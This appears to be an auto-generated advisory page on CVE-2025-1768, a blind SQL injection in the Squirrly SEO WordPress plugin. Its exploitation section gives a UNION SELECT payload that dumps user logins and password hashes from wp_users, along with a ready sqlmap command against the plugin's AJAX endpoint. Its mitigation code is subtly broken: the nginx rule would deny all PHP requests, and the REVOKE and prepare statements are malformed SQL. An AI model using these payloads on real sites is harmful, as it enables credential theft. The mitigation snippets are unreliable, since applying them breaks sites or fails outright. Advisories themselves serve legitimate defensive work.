The CVE-2025-1768 vulnerability in the Squirrly SEO plugin for WordPress allows blind SQL injection via the `search` parameter due to improper input sanitization and lack of prepared statements. Attackers with Subscriber-level access or higher can manipulate SQL queries by injecting malicious payloads into the `search` field. This enables unauthorized database access, potentially exposing sensitive data such as user credentials, plugin configurations, or other WordPress database contents. The flaw arises from direct concatenation of user input into SQL queries without proper escaping, allowing attackers to append arbitrary SQL commands.
DailyCVE Form:
Platform: WordPress
Version: <= 12.4.05
Vulnerability: SQL Injection
Severity: Critical
Date: 04/09/2025
What Undercode Say:
Exploitation:
1. Attacker sends crafted `search` payload:
' UNION SELECT user_login,user_pass FROM wp_users--
2. Use automated tools like `sqlmap`:
sqlmap -u "https://target.com/wp-admin/admin-ajax.php" --data="action=sq_filter&search=test" --risk=3 --level=5
Mitigation:
1. Update Squirrly SEO to the latest version.
2. Apply WAF rules to block SQLi patterns:
location ~ .php$ {
deny all;
}
3. Restrict database permissions:
REVOKE ALL PRIVILEGES ON wordpress. FROM 'wp_user'@'localhost';
4. Patch code to use prepared statements:
$stmt = $wpdb->prepare("SELECT FROM table WHERE column = %s", $_POST['search']);
Detection:
- Monitor logs for unusual `search` parameter patterns:
grep -r "union.select" /var/log/nginx/access.log
- Use WordPress security plugins like Wordfence.
